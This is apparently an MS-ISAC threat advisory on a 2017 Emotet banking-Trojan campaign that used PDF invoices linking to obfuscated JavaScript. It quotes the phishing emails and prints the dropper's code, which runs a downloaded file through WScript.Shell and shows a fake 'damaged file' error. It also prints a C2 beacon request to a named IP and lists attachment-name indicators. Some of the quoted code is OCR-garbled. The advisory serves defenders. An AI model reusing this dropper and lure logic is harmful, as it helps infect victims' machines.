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Emotet Changes TTPs and Arrives in United States
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The MS-ISAC recently observed a malicious email campaign delivering the Emotet banking Trojan via a
malicious PDF in the United States. This appears to be the first time Emotet has targeted the United States and
used a PDF file attachment. The campaign targeted federal, state, local, tribal, and territorial (FSLTT) government
employees, among others, with fake invoices and documents from national branded businesses and organizations.
Emotet is a variant of the Feodo Trojan family, which is a family of banking Trojans that include Emotet, Bugat,

and Dridex.
Geographic History

Emotet was first reported by the cybersecurity community in June 2014. Its first two versions targeted German
and Austrian banking clients from June 2014 until it went silent in December 2014. At the end of January 2015,
reporting indicated that a third version emerged with upgraded evasion techniques. This version expanded outside
of Germany and Austria to target Swiss banks. No significant campaigns were publicly documented during the
rest of 2015 or all of 2016. Feodo Tracker, a site that tracks the Feodo Trojan family, showed the botnet

infrastructure to be almost completely offline in 2016 and completely offline as of April 27, 2017.

However, around mid-April 2017, Forcepoint analyzed samples from a large-scale UK spam campaign and noted

that it used Geodo malware. Only instead of the new Dridex derivative, the campaign used the older Emotet

variant.

The April campaign used a fake invoice as the attachment and focused on the .uk country code domain (ccTLD).

According to Forcepoint, the campaign peaked on April 18, 2017.

On April 24, 2017, the MS-ISAC observed a spam campaign against FSLTT government employees in the United
States, that has expanded to include targeting of the financial sector. We confirmed the malicious PDF attachments

as directing recipients to URLs that downloaded the Emotet malware.

Current Delivery Methodology

The U.S. campaign displays many similarities with the UK campaign from mid-April, although there are some

notable differences.

Emotet, like most malware, has continuously evolved its delivery method. Proofpoint documented the mid-April
2017 UK campaign as using an attachment with fake phone bills and then switching to embedding links to
malicious files within the emails. In the U.S. variant, the MS-ISAC has noted malicious PDF file attachments
containing a link to javascript (JS), which the recipient is directed to download. The subject line of the emails

varied between fake billing notifications to reports needing to be read.
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Subject: Invoice trom info@
Importance: High

Please find attached your Invoice dated - 25 Apr 17 any queries please ring the following:-

91095 990382
The following are attached to this email:

KZSY284404.PDF

B KZSY284404.pdf '

®e Document 239543604
Voice & Video Services <emilie.{ N C N>

Monday, April 24, 2017 at 1:55 PM

To:
= Document 11861097 NI_NSO__11861097.pdf (4.3 KB) Preview

! This message is high priority.

L]

Your report is attached in PDF format.

Attachments: Document_11861097_NI_NSO___ 11861097.pdf

Thanks for your business!
VOICE & VIDEO SERVICES

Inside the PDF, there is an overt reference to the link’s target being a JS file. The MS-ISAC believes this is done

to inform the recipient about the unusual invoice format.
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This link returns a .JS file, which is heavily obfuscated and laced with large amounts of ‘junk’ data. The de-

obfuscated data shows around 2000 lines of junk data, with only one of the function lines being used.

Order-64459433.5459.558.-CCRWY FVEAKRAATA-HGSVOPYS5 043853 |5.txt « Notepad

Ede Edt gewch beb
function WEWs e QRAGH, [lw'vu] | var PyGlxaC: var eD = "NeVHWnLyFL™ | var efbneed = "Wkt L) var 0o = “span baser records needs greater promize mind kindle exclusion storm daughter
laugh unstimed Passing sighed var Y9ulrEs = elyywl.replace V[ke.]™ ") function WI25[hOTPSqa.pl5KU0) | function FO[mE s 3CIM.JA rBOCEm] { var a3 = "sunny rein Than shoulders thanks
plighted Grim worn hallz blows upheld nowize slayer witchcraft sands mystery foe damages wicked meet Sound feazt small devious chill sake clove ride wings Yonder plerced' | | var Ke93Mg =
BE0e; function qnefo1pl6i) { lor fvar LE = S127; L6 < 239; i 4= 806) { for war ejkiahd = 1454; ejkdabd < 170; $1 += 947] { function nEcljoze,SwhpCe],$p0IURIENralAul] { var wincd =

“wings winds morcow hilpluller Earthward seem An drawn Fullilled passe God™; function I2BPNNTAfy. stsatuah&ZﬂPHq [war jdC = "Hejoicing Strikes gitt imperious walers blew alighting

(walls EITHER boot lef Royally™ var ESJ = lnw‘huuglﬂ birgin changed castle troth begun blowing g er W oescalted % xky Glad caming theirs friple holds Radiant

arrow’S ) 1] ) § var D'lek Ke33IMa.replace[ 'BE0, "™ var ITc var 14MOCw = "DoF-wT var uY = "G00 lurld[sorl WelBRITw[F5,uzXCZ 107 Wiwrw] | war RHET = “CYYEmisigWy'™ | var gZg =

U replace[ BDXEG" ") for fear OU = 9814 QU € 79 51 4= 382) { var Hyzz = “[Nbe2 | var LMK = “ySNWour' for fvar qdOrT = B280: qdOrT < 172: i += 132] { function $bMXoq[zm.SLUKT.ov]

[ function cwOerfwgOm,jeXgikSZ, 7 Glvlg) { var ZCnu? = “Too lea fared stands bowl goodwill rue shrined Men grass Strede smooth star Rise perforce ralzed sunlit shrivelled bosom wasx durst

afar miles Deep gracious'; } |} § var zAsndl = LNhoreplace[ ySNWo™, "1 var wPh = "Yhbo2[$" var OV = 20" lunction dnDS 309 [maPRydClLgUAsh1W,E K e, 51, dLSBjHS:) [ for pear kowlo =

9988; kwlo < 180: 5i #= 118] | lunction GOTg(C20, 2Kz, uCgdtm) { var nf 20zpb = “head Stood hearkens conlounds Abave displays hard Knight diew Fire Not draughts Retund alter podal distune
bitierer trophies™: | ]} var NOSSBYF = 0V.replace["Bnd", "™ funciion Ymy<E8cl0q [ lunclion dJCHBR[TSLEGLAPeT, nlif] [ for frar CWIFCPs = 7368 CWIFCPs <€ 546; §i += 818] [ var

RHolgmNZ var Wigkblgm = "TULPwDWEHICTS | ) ] var dfiszW = "c2Znz U function dZ[EAblsde hBHZ2rPmi, dPIIEYHR] [ var ZmOEM = “hreak Norh knighthood courtesy clad indirecthy rocks Fame
fluttered sick embarked sir breathed clomb Calls meets Awhile Scarce™ | var s5RpO3 = dEszVreplace"c:iZnz™, " function JUKDGR]) { function EcQBH{IZ220.BUFAn DIVETORE] [ var iLSCp =

“Pazs glad thereby heavier emites hostry Because silent kindles royalty web broke Flrst covert | | var Du = "Z¥Kge 8311 for fvar w30y = 3333 wRI0v < 613 5l += 349) { var Dol = "Round
hungering unnatural zhatiers Hid TALE beguiled dishevel gazing gatesay™; } var hll = Dureplace[ 2 Kg 837, "] function <AaZFjih[MOnC VEEK UbTRw EROLA,p30) | function

The .JS file is meant to show the victim an error message (shown below) when run.

}
getData(function (data, error) {
if (lerror) {
saveToTemp(data, function (path, error) {
if (lerrer) {
try {
var wsh = new ActiveXObject(“WScript.Shell”);
wsh.Run(path);
WshShell = WScript.CreateObject("WScript.shell”);
Text = "There was an error opening this document. The file is damaged and could not be repaired (for example, it was
sent as an email attachment and wasn't correctly decocded).”;
Title = "Not Supported File Format";
Res = WshShell.Popup(Text, 0, Title, 0 + 64);
} catch (error) {}

Once the .JS file is run, it makes HTTP GET requests over port 8080 to the command and control (C2) IP with

what the MS-ISAC believes is identification data encrypted within an encoded cookie string.

GET / HTTP/1.1

Cookie: DE71=PI7]IPaixYK2EE+rKUyk75dLgk+eHIprarS2HKjGValp/@4fukCThkPg7shuZWOWGsoCT2PSTOS5a%dnK1eFVppgaptidLaiEChTOWU s s6bHxZ IN2G7qwl 5 iNtQIZ IV 7xRPNCTP zPqXUjCaC 1d tAv+ ZSpB/t
+HgLxBRIPCR1BAVOZKZKo0xkig Y+ I gIHDFXSVCIEANTSXy FGBY Tsx/ t 24r6gC 3gniodWkDe 2CBYmkS 3e6+RBv41Geaeu IWBCHIU] Sq ] ri0dGeqdc 2t sVd7oViyOc 1 BaDL 664xqCk TLXAL BEDIQnt £/ 120 gocg/
Q9pPRrLm3F TBWF ITFXek9zEThtav4fZ+S0FfROMGGPOT ZwamwBREHVKoXE 3495 §nKH71Q196HIRS SGKKBNQL vahaS fmw=

User-Agent: Mozilla/5.8 (compatible; MSIE 8.8; Windows NT 5.1; SLCC1; .MET CLR 1.1.4322)

Host: 188.165.220.214:8080

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 484 Not Found

Server: nginx

Date: Mon, 24 Apr 2017 20:10:26 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 132

Connection: keep-alive

e Ly o o
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When the malware was successfully run, the remote IP address responded with a 404 error header and encrypted
data. The MS-ISAC observed that using the same cookie string in the requests, when resent, would garner
differing content length in the server’s responses, showing that the reply could vary in response despite static

cookie values being reused in testing.

Association Between U.S. and UK Spam Campaign

Though there are some notable differences, the U.S. campaign displays many similarities with the mid-April UK
campaign observed by Forcepoint. The UK emails took the form of fake billing notifications and around half of
the MS-ISAC observed emails used fake billing as the lure.

Though the TTPs for delivery of the .JS file changed between campaigns, with the U.S. campaign using a
malicious link inside of a malicious attachment and the UK campaign using a malicious link inside the email
body, the .JS files from both campaigns were similar. Both the MS-ISAC and Forcepoint noted that the .JS file

downloaded from the malicious link was heavily obfuscated and contained a large amount of junk data.
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When the .JS runs, Forcepoint observed an error message that matched the error message found within the MS-

ISAC .JS verbatim. Both are shown below:

Mot Suppeorted File Format @

I.-"-_h'“- There was an errcr cpening this doecument. The file is damaged and
WY cculd not be repaired (for example, it was sent as an email attachment
and wasn't correctly decoded).

[~OK

1
getDatalfunction (data, error) {

if (lerror) {
saveToTemp|data, function (path, error) {
if (lerror) {

try {
var wsh = new ActiveObject| "WScript.Shell");
wsh,Run(path);
WshShell = W5cript.CreateCbject ("WScript.Shell");
Text = "There was an error opening this document. The file is damaged and could not be repaired |for example, it was

gent as an email attachment and wasn't correctly decoded).”;

Title = "Not Supported File Format";
Res = WshShell.Popup(Text, 0, Title, 0 + 64);

} catch (error) {}

The MS-ISAC also observed differences between the C2 servers involved in previous Emotet versions and in the
latest interation of the malware. The communication request was an HTTP GET request with an encoded cookie

string. The C2 server responded to the request with a “404 Not Found” message containing an encrypted response.

Indicators of Compromise (IOC)

Attachments

e Document attachments with names similar to “Document_11861097_NI_NSO__11861097.pdf” or
“11861097_11861097.pdf” The same number is repeated twice with either a “_” or “_NI_NSO__” between
them.

e A PDF with no other indicators, such as “KZSY284404.PDF.” It is 7 or 9 characters long using only letters
and numbers, mostly follows the format of “CLLLNNNNNN.pdf.”

¢ The invoice PDF variant, “Invoice.PDF.”

As of June 23, 2025, the MS-ISAC has introduced a fee-based membership. Any potential reference to no-cost
MS-ISAC services no longer applies.
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